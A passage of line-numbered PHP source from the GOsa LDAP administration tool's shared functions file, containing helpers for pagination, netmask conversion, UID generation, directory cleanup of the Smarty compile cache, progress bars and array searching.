1245     $display.= "</div>\n";
1246   } else {
1247     $display.= "<div style=\"height:5px;\">\n";
1248     $display.= "&nbsp;";
1249     $display.= "</div>\n";
1250   }
1252   return ($display);
1256 function register_global($name, $object)
1258   $_SESSION[$name]= $object;
1262 function is_global($name)
1264   return isset($_SESSION[$name]);
1268 function get_global($name)
1270   return $_SESSION[$name];
1274 function range_selector($dcnt,$start,$range=25,$post_var=false)
1277   /* Entries shown left and right from the selected entry */
1278   $max_entries= 10;
1280   /* Initialize and take care that max_entries is even */
1281   $output="";
1282   if ($max_entries & 1){
1283     $max_entries++;
1284   }
1286   if((!empty($post_var))&&(isset($_POST[$post_var]))){
1287     $range= $_POST[$post_var];
1288   }
1290   /* Prevent output to start or end out of range */
1291   if ($start < 0 ){
1292     $start= 0 ;
1293   }
1294   if ($start >= $dcnt){
1295     $start= $range * (int)(($dcnt / $range) + 0.5);
1296   }
1298   $numpages= (($dcnt / $range));
1299   if(((int)($numpages))!=($numpages)){
1300     $numpages = (int)$numpages + 1;
1301   }
1302   if ((((int)$numpages) <= 1 )&&(!$post_var)){
1303     return ("");
1304   }
1305   $ppage= (int)(($start / $range) + 0.5);
1308   /* Align selected page to +/- max_entries/2 */
1309   $begin= $ppage - $max_entries/2;
1310   $end= $ppage + $max_entries/2;
1312   /* Adjust begin/end, so that the selected value is somewhere in
1313      the middle and the size is max_entries if possible */
1314   if ($begin < 0){
1315     $end-= $begin + 1;
1316     $begin= 0;
1317   }
1318   if ($end > $numpages) {
1319     $end= $numpages;
1320   }
1321   if (($end - $begin) < $max_entries && ($end - $max_entries) > 0){
1322     $begin= $end - $max_entries;
1323   }
1325   if($post_var){
1326     $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
1327       <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
1328   }else{
1329     $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
1330   }
1332   /* Draw decrement */
1333   if ($start > 0 ) {
1334     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
1335       (($start-$range))."\">".
1336       "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
1337   }
1339   /* Draw pages */
1340   for ($i= $begin; $i < $end; $i++) {
1341     if ($ppage == $i){
1342       $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
1343         validate($_GET['plug'])."&amp;start=".
1344         ($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
1345     } else {
1346       $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
1347         "&amp;start=".($i*$range)."\">&nbsp;".($i+1)."&nbsp;</a>";
1348     }
1349   }
1351   /* Draw increment */
1352   if($start < ($dcnt-$range)) {
1353     $output.="  <a href= \"main.php?plug=".validate($_GET['plug'])."&amp;start=".
1354       (($start+($range)))."\">".
1355       "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
1356   }
1358   if(($post_var)&&($numpages)){
1359     $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'>&nbsp;"._("Entries per page")."&nbsp;<select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
1360     foreach(array(20,50,100,200,"all") as $num){
1361       if($num == "all"){
1362         $var = 10000;
1363       }else{
1364         $var = $num;
1365       }
1366       if($var == $range){
1367         $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
1368       }else{  
1369         $output.="\n<option value='".$var."'>".$num."</option>";
1370       }
1371     }
1372     $output.=  "</select></td></tr></table></div>";
1373   }else{
1374     $output.= "</div>";
1375   }
1377   return($output);
1381 function apply_filter()
1383   $apply= "";
1385   $apply= ''.
1386     '<table summary=""  width="100%"  style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
1387     '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
1389   return ($apply);
1393 function back_to_main()
1395   $string= '<br><p class="plugbottom"><input type=submit name="password_back" value="'.
1396     _("Back").'"></p><input type="hidden" name="ignore">';
1398   return ($string);
1402 function normalize_netmask($netmask)
1404   /* Check for notation of netmask */
1405   if (!preg_match('/^([0-9]+\.){3}[0-9]+$/', $netmask)){
1406     $num= (int)($netmask);
1407     $netmask= "";
1409     for ($byte= 0; $byte<4; $byte++){
1410       $result=0;
1412       for ($i= 7; $i>=0; $i--){
1413         if ($num-- > 0){
1414           $result+= pow(2,$i);
1415         }
1416       }
1418       $netmask.= $result.".";
1419     }
1421     return (preg_replace('/\.$/', '', $netmask));
1422   }
1424   return ($netmask);
1428 function netmask_to_bits($netmask)
1430   list($nm0, $nm1, $nm2, $nm3)= split('\.', $netmask);
1431   $res= 0;
1433   for ($n= 0; $n<4; $n++){
1434     $start= 255;
1435     $name= "nm$n";
1437     for ($i= 0; $i<8; $i++){
1438       if ($start == (int)($$name)){
1439         $res+= 8 - $i;
1440         break;
1441       }
1442       $start-= pow(2,$i);
1443     }
1444   }
1446   return ($res);
1450 function recurse($rule, $variables)
1452   $result= array();
1454   if (!count($variables)){
1455     return array($rule);
1456   }
1458   reset($variables);
1459   $key= key($variables);
1460   $val= current($variables);
1461   unset ($variables[$key]);
1463   foreach($val as $possibility){
1464     $nrule= preg_replace("/\{$key\}/", $possibility, $rule);
1465     $result= array_merge($result, recurse($nrule, $variables));
1466   }
1468   return ($result);
1472 function expand_id($rule, $attributes)
1474   /* Check for id rule */
1475   if(preg_match('/^id(:|#)\d+$/',$rule)){
1476     return (array("\{$rule}"));
1477   }
1479   /* Check for clean attribute */
1480   if (preg_match('/^%[a-zA-Z0-9]+$/', $rule)){
1481     $rule= preg_replace('/^%/', '', $rule);
1482     $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$rule])));
1483     return (array($val));
1484   }
1486   /* Check for attribute with parameters */
1487   if (preg_match('/^%[a-zA-Z0-9]+\[[0-9-]+\]$/', $rule)){
1488     $param= preg_replace('/^[^[]+\[([^]]+)]$/', '\\1', $rule);
1489     $part= preg_replace('/^%/', '', preg_replace('/\[.*$/', '', $rule));
1490     $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$part])));
1491     $start= preg_replace ('/-.*$/', '', $param);
1492     $stop = preg_replace ('/^[^-]+-/', '', $param);
1494     /* Assemble results */
1495     $result= array();
1496     for ($i= $start; $i<= $stop; $i++){
1497       $result[]= substr($val, 0, $i);
1498     }
1499     return ($result);
1500   }
1502   echo "Error in idgen string: don't know how to handle rule $rule.\n";
1503   return (array($rule));
1507 function gen_uids($rule, $attributes)
1509   global $config;
1511   /* Search for keys and fill the variables array with all 
1512      possible values for that key. */
1513   $part= "";
1514   $trigger= false;
1515   $stripped= "";
1516   $variables= array();
1518   for ($pos= 0; $pos < strlen($rule); $pos++){
1520     if ($rule[$pos] == "{" ){
1521       $trigger= true;
1522       $part= "";
1523       continue;
1524     }
1526     if ($rule[$pos] == "}" ){
1527       $variables[$pos]= expand_id($part, $attributes);
1528       $stripped.= "\{$pos}";
1529       $trigger= false;
1530       continue;
1531     }
1533     if ($trigger){
1534       $part.= $rule[$pos];
1535     } else {
1536       $stripped.= $rule[$pos];
1537     }
1538   }
1540   /* Recurse through all possible combinations */
1541   $proposed= recurse($stripped, $variables);
1543   /* Get list of used ID's */
1544   $used= array();
1545   $ldap= $config->get_ldap_link();
1546   $ldap->cd($config->current['BASE']);
1547   $ldap->search('(uid=*)');
1549   while($attrs= $ldap->fetch()){
1550     $used[]= $attrs['uid'][0];
1551   }
1553   /* Remove used uids and watch out for id tags */
1554   $ret= array();
1555   foreach($proposed as $uid){
1557     /* Check for id tag and modify uid if needed */
1558     if(preg_match('/\{id:\d+}/',$uid)){
1559       $size= preg_replace('/^.*{id:(\d+)}.*$/', '\\1', $uid);
1561       for ($i= 0; $i < pow(10,$size); $i++){
1562         $number= sprintf("%0".$size."d", $i);
1563         $res= preg_replace('/{id:(\d+)}/', $number, $uid);
1564         if (!in_array($res, $used)){
1565           $uid= $res;
1566           break;
1567         }
1568       }
1569     }
1571   if(preg_match('/\{id#\d+}/',$uid)){
1572     $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
1574     while (true){
1575       mt_srand((double) microtime()*1000000);
1576       $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
1577       $res= preg_replace('/{id#(\d+)}/', $number, $uid);
1578       if (!in_array($res, $used)){
1579         $uid= $res;
1580         break;
1581       }
1582     }
1583   }
1585 /* Don't assign used ones */
1586 if (!in_array($uid, $used)){
1587   $ret[]= $uid;
1591 return(array_unique($ret));
1595 function array_search_r($needle, $key, $haystack){
1597   foreach($haystack as $index => $value){
1598     $match= 0;
1600     if (is_array($value)){
1601       $match= array_search_r($needle, $key, $value);
1602     }
1604     if ($index==$key && !is_array($value) && preg_match("/$needle/i", $value)){
1605       $match=1;
1606     }
1608     if ($match){
1609       return 1;
1610     }
1611   }
1613   return 0;
1614
1617 /* Sadly values like memory_limit are perpended by K, M, G, etc.
1618    Need to convert... */
1619 function to_byte($value) {
1620   $value= strtolower(trim($value));
1622   if(!is_numeric(substr($value, -1))) {
1624     switch(substr($value, -1)) {
1625       case 'g':
1626         $mult= 1073741824;
1627         break;
1628       case 'm':
1629         $mult= 1048576;
1630         break;
1631       case 'k':
1632         $mult= 1024;
1633         break;
1634     }
1636     return ($mult * (int)substr($value, 0, -1));
1637   } else {
1638     return $value;
1639   }
1643 function in_array_ics($value, $items)
1645   if (!is_array($items)){
1646     return (FALSE);
1647   }
1649   foreach ($items as $item){
1650     if (strtolower($item) == strtolower($value)) {
1651       return (TRUE);
1652     }
1653   }
1655   return (FALSE);
1656
1659 function generate_alphabet($count= 10)
1661   $characters= _("*ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
1662   $alphabet= "";
1663   $c= 0;
1665   /* Fill cells with charaters */
1666   for ($i= 0; $i<mb_strlen($characters, 'UTF8'); $i++){
1667     if ($c == 0){
1668       $alphabet.= "<tr>";
1669     }
1671     $ch = mb_substr($characters, $i, 1, "UTF8");
1672     $alphabet.= "<td><a class=\"alphaselect\" href=\"main.php?plug=".
1673       validate($_GET['plug'])."&amp;search=".$ch."\">&nbsp;".$ch."&nbsp;</a></td>";
1675     if ($c++ == $count){
1676       $alphabet.= "</tr>";
1677       $c= 0;
1678     }
1679   }
1681   /* Fill remaining cells */
1682   while ($c++ <= $count){
1683     $alphabet.= "<td>&nbsp;</td>";
1684   }
1686   return ($alphabet);
1690 function validate($string)
1692   return (strip_tags(preg_replace('/\0/', '', $string)));
1695 function get_gosa_version()
1697   global $svn_revision, $svn_path;
1699   /* Extract informations */
1700   $revision= preg_replace('/^[^0-9]*([0-9]+)[^0-9]*$/', '\1', $svn_revision);
1702   /* Release or development? */
1703   if (preg_match('%/gosa/trunk/%', $svn_path)){
1704     return (sprintf(_("GOsa development snapshot (Rev %s)"), $revision));
1705   } else {
1706     $release= preg_replace('%^.*/([^/]+)/include/functions.inc.*$%', '\1', $svn_path);
1707     return (sprintf(_("GOsa $release"), $revision));
1708   }
1712 function rmdirRecursive($path, $followLinks=false) {
1713   $dir= opendir($path);
1714   while($entry= readdir($dir)) {
1715     if(is_file($path."/".$entry) || ((!$followLinks) && is_link($path."/".$entry))) {
1716       unlink($path."/".$entry);
1717     } elseif (is_dir($path."/".$entry) && $entry!='.' && $entry!='..') {
1718       rmdirRecursive($path."/".$entry);
1719     }
1720   }
1721   closedir($dir);
1722   return rmdir($path);
1725 function scan_directory($path,$sort_desc=false)
1727   $ret = false;
1729   /* is this a dir ? */
1730   if(is_dir($path)) {
1732     /* is this path a readable one */
1733     if(is_readable($path)){
1735       /* Get contents and write it into an array */   
1736       $ret = array();    
1738       $dir = opendir($path);
1740       /* Is this a correct result ?*/
1741       if($dir){
1742         while($fp = readdir($dir))
1743           $ret[]= $fp;
1744       }
1745     }
1746   }
1747   /* Sort array ascending , like scandir */
1748   sort($ret);
1750   /* Sort descending if parameter is sort_desc is set */
1751   if($sort_desc) {
1752     $ret = array_reverse($ret);
1753   }
1755   return($ret);
1758 function clean_smarty_compile_dir($directory)
1760   global $svn_revision;
1762   if(is_dir($directory) && is_readable($directory)) {
1763     // Set revision filename to REVISION
1764     $revision_file= $directory."/REVISION";
1766     /* Is there a stamp containing the current revision? */
1767     if(!file_exists($revision_file)) {
1768       // create revision file
1769       create_revision($revision_file, $svn_revision);
1770     } else {
1771 # check for "$config->...['CONFIG']/revision" and the
1772 # contents should match the revision number
1773       if(!compare_revision($revision_file, $svn_revision)){
1774         // If revision differs, clean compile directory
1775         foreach(scan_directory($directory) as $file) {
1776           if(($file==".")||($file=="..")) continue;
1777           if( is_file($directory."/".$file) &&
1778               is_writable($directory."/".$file)) {
1779             // delete file
1780             if(!unlink($directory."/".$file)) {
1781               print_red("File ".$directory."/".$file." could not be deleted.");
1782               // This should never be reached
1783             }
1784           } elseif(is_dir($directory."/".$file) &&
1785               is_writable($directory."/".$file)) {
1786             // Just recursively delete it
1787             rmdirRecursive($directory."/".$file);
1788           }
1789         }
1790         // We should now create a fresh revision file
1791         clean_smarty_compile_dir($directory);
1792       } else {
1793         // Revision matches, nothing to do
1794       }
1795     }
1796   } else {
1797     // Smarty compile dir is not accessible
1798     // (Smarty will warn about this)
1799   }
1802 function create_revision($revision_file, $revision)
1804   $result= false;
1806   if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
1807     if($fh= fopen($revision_file, "w")) {
1808       if(fwrite($fh, $revision)) {
1809         $result= true;
1810       }
1811     }
1812     fclose($fh);
1813   } else {
1814     print_red("Can not write to revision file");
1815   }
1817   return $result;
1820 function compare_revision($revision_file, $revision)
1822   // false means revision differs
1823   $result= false;
1825   if(file_exists($revision_file) && is_readable($revision_file)) {
1826     // Open file
1827     if($fh= fopen($revision_file, "r")) {
1828       // Compare File contents with current revision
1829       if($revision == fread($fh, filesize($revision_file))) {
1830         $result= true;
1831       }
1832     } else {
1833       print_red("Can not open revision file");
1834     }
1835     // Close file
1836     fclose($fh);
1837   }
1839   return $result;
1842 function progressbar($percentage,$width=100,$height=15,$showvalue=false)
1844   $str = ""; // Our return value will be saved in this var
1846   $color  = dechex($percentage+150);
1847   $color2 = dechex(150 - $percentage);
1848   $bgcolor= $showvalue?"FFFFFF":"DDDDDD";
1850   $progress = (int)(($percentage /100)*$width);
1852   /* Abort printing out percentage, if divs are to small */
1855   /* If theres a better solution for this, use it... */
1856   $str = "
1857     <div style=\" width:".($width)."px; 
1858     height:".($height)."px;
1859   background-color:#000000;
1860 padding:1px;\">
1862           <div style=\" width:".($width)."px;
1863         background-color:#$bgcolor;
1864 height:".($height)."px;\">
1866          <div style=\" width:".$progress."px;
1867 height:".$height."px;
1868        background-color:#".$color2.$color2.$color."; \">";
1871        if(($height >10)&&($showvalue)){
1872          $str.=                 "<font style=\"font-size:".($height-2)."px;color:#FF0000;align:middle;padding-left:".((int)(($width*0.4)))."px;\">
1873            <b>".$percentage."%</b>
1874            </font>";
1875        }
1877        $str.= "</div></div></div>";
1879        return($str);
1883 function array_key_ics($ikey, $items)
1885   /* Gather keys, make them lowercase */
1886   $tmp= array();
1887   foreach ($items as $key => $value){
1888     $tmp[strtolower($key)]= $key;
1889   }
1891   if (isset($tmp[strtolower($ikey)])){
1892     return($tmp[strtolower($ikey)]);
1893   }
1895   return ("");
1899 function search_config($arr, $name, $return)
1901   if (is_array($arr)){
1902     foreach ($arr as $a){
1903       if (isset($a['CLASS']) &&
1904           strtolower($a['CLASS']) == strtolower($name)){
1906         if (isset($a[$return])){
1907           return ($a[$return]);
1908         } else {
1909           return ("");
1910         }
1911       } else {
1912         $res= search_config ($a, $name, $return);
1913         if ($res != ""){
1914           return $res;
1915         }
1916       }
1917     }
1918   }
1919   return ("");
1923 function array_differs($src, $dst)
1925   /* If the count is differing, the arrays differ */
1926   if (count ($src) != count ($dst)){
1927     return (TRUE);
1928   }
1930   /* So the count is the same - lets check the contents */
1931   $differs= FALSE;
1932   foreach($src as $value){
1933     if (!in_array($value, $dst)){
1934       $differs= TRUE;
1935     }
1936   }
1938   return ($differs);
1942 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
1943 ?>